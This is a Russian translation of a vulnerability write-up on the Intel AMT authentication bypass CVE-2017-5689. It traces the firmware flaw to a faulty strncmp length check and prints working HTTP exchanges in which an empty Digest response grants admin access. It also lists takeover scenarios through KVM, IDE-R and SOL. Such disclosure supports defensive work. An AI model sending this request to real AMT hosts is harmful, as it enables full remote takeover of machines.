Уязвимость в Intel AMT

Уязвимость в Intel AMT

Во время изучения документации на технологию Intel Active Management Technology мы обнаружили различные функции, доступные через веб-панель, которая работает на базе интегрированного веб-сервера, слушающего порты 16992 и 16993.

Автор: embedi.com
Введение
Уязвимость, связанная с обходом аутентификации, которая впоследствии стала известна под кодовым называнием CVE-2017-5689, была первоначально обнаружена в середине февраля 2017 года во время исследования внутреннего устройства прошивки в Intel Management Engine. Изначально предметом исследования были сетевые службы и протоколы.
Во время изучения документации на технологию Intel Active Management Technology мы обнаружили различные функции, доступные через веб-панель, которая работает на базе интегрированного веб-сервера, слушающего порты 16992 и 16993.
Для защиты AMT от неправомерного доступа в веб-сервере предусмотрено несколько методов аутентификации и авторизации удаленного пользователя. Выдержка из раздела Authentication Options документа «Intel AMT Implementation and Reference Guide»:
Intel AMT поддерживает аутентификацию на базе механизмов Digest и Kerberos.
Исключение – учетная запись администратора, которая всегда использует аутентификацию на базе схемы Digest.
Постоянное использование аутентификации на базе схемы Digest предполагает, что каждый HTTP-запрос должен быть отправлен дважды, поскольку первый ответ сервер присылает с кодом 401.
Если административная учетная запись всегда используется digest-аутентификацию, то эта тема стоит того, чтобы копнуть глубже.
Исследование прошивки
Рассмотрим пример общения между веб-сервером, используемым технологией ATM, и удаленным клиентом:
GET /index.htm HTTP/1.1
Host: 192.168.1.2:16992
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.2:16992/logon.htm
Connection: keep-alive

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Digest
realm=»Digest:048A0000000000000000000000000000»,
nonce=»Q0UGAAQEAAAV4M4iGF4+Ni5ZafuMWy9J»,stale=»false»,qop=»auth»
Content-Type: text/html
Server: AMT
Content-Length: 678
Connection: close

GET /index.htm HTTP/1.1
Host: 192.168.1.2:16992
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.2:16992/logon.htm
Connection: keep-alive
Authorization: Digest username=»admin»,
realm=»Digest:048A0000000000000000000000000000»,
nonce=»Q0UGAAQEAAAV4M4iGF4+Ni5ZafuMWy9J», uri=»/index.htm»,
response=»d3d4914a43454b159a3fa6f5a91d801d», qop=auth, nc=00000001,
cnonce=»9c5beca4011eea5c»

HTTP/1.1 200 OK
Date: Thu, 4 May 2017 16:03:49 GMT
Server: AMT
Content-Type: text/html
Transfer-Encoding: chunked
Cache-Control: no cache
Expires: Thu, 26 Oct 1995 00:00:00 GMT

04E6

При помощи правильных инструментов не составило труда загрузить прошивку в дизассемблер и найти код, отвечающий за авторизацию (через ссылки и специфические строки, наподобие «cnonce», «realm» и т. д.).
 
Рисунок 1: Участок кода в прошивке, имеющий отношение к аутентификации
На рисунке выше показана функция, расположенная по адресу @ 0x20431E74 в модуле NETSTACK. Версия прошивки Intel ME - 9.0.30.1482 (где изначально была обнаружена брешь).
Эта функция отвечает за анализ заголовка Authorization из HTTP-запроса, отсылаемого клиенту, и проверку ответа пользователя на запрос сервера.
Рассмотрим повнимательнее код этой функции и найдем, где хранятся значения заголовка Authorization:

Рисунок 2: Структура, где хранятся значения заголовка Authorization
Наконец, мы приходим к условию да/нет:

Рисунок 3: Сравнение, по результатам которого принимается решение
Участок кода, где вызывается функция strcmp, выглядит наиболее интересным:
if(strncmp(computed_response, user_response, response_length))
exit(0x99);

Значение вычисленного ответа (первый аргумент) сравнивается со значением, присланным пользователем (второй аргумент). Третий аргумент – длина ответа. Кажется, вполне очевидно, что третий аргумент функции strcmp должен быть длиной переменной computed_response, но адрес переменной response_length из стека, откуда должна загружаться длина, на самом деле указывает на длину переменной response_length!
Пустую строку strcmp преобразовывает в 0, и, таким образом, некорректный ответ принимается как корректный.
Несомненно, это просто ошибка программиста, которую можно охарактеризовать следующим правилом: «соблюдайте тишину во время запроса, и доступ будет открыт».
Пример эксплуатации
При помощи локального прокси-сервера с IP-адресом 127.0.0.1:16992, который меняет ответ на пустую строку, мы сможем управлять AMT через обычный веб-браузер, как если бы мы знали административный пароль:
GET /index.htm HTTP/1.1
Host: 127.0.0.1:16992
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Digest
realm=»Digest:048A0000000000000000000000000000»,
nonce=»qTILAAUFAAAjY7rDwLSmxFCq5EJ3pH/n»,stale=»false»,qop=»auth»
Content-Type: text/html
Server: AMT
Content-Length: 678
Connection: close
GET /index.htm HTTP/1.1
Host: 127.0.0.1:16992
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Authorization: Digest username=»admin»,
realm=»Digest:048A0000000000000000000000000000»,
nonce=»qTILAAUFAAAjY7rDwLSmxFCq5EJ3pH/n», uri=»/index.htm», response=»»,
qop=auth, nc=00000001, cnonce=»60513ab58858482c»
HTTP/1.1 200 OK
Date: Thu, 4 May 2017 16:09:17 GMT
Server: AMT
Content-Type: text/html
Transfer-Encoding: chunked
Cache-Control: no cache
Expires: Thu, 26 Oct 1995 00:00:00 GMT
04E6

Возможные сценарии атаки
Теперь поговорим о возможностях, которые открываются злоумышленнику, после получения доступа к AMT-службам. Во-первых, следует помнить, что ATM дает возможность удаленного управления компьютером даже если устройство выключено (но подключено к электричеству и сети). Кроме того, технология Intel AMT полностью независима от установленной операционной системы и дает возможность удаленной переустановки и удаления ОС. Таким образом, существует несколько сценариев атаки, которые можно реализовать, используя эту брешь.
Возможные схемы реализации основываются на функциях, доступных в технологии Intel AMT:

  • KVM (удаленное управление мышью, клавиатурой и монитором) используется для удаленного выполнения любых физических операций (с мышью и клавиатурой), которые вы ежедневно делаете на своем компьютере.
  • IDE-R (IDE Redirection) используется для удаленного изменения загрузочного устройства на виртуальные образы. Таким образом, в системе будет загружаться операционная система не с жесткого диска, а с образа (виртуального диска) из источника, который вы укажете удаленно.
  • SOL (Serial over LAN) используется для удаленного включения/выключения/перезагрузки компьютера, а также выполнения других операций. Кроме того, при помощи этой функции можно менять настройки BIOS.

Устали от того, что Интернет знает о вас все?

Присоединяйтесь к нам и станьте невидимыми!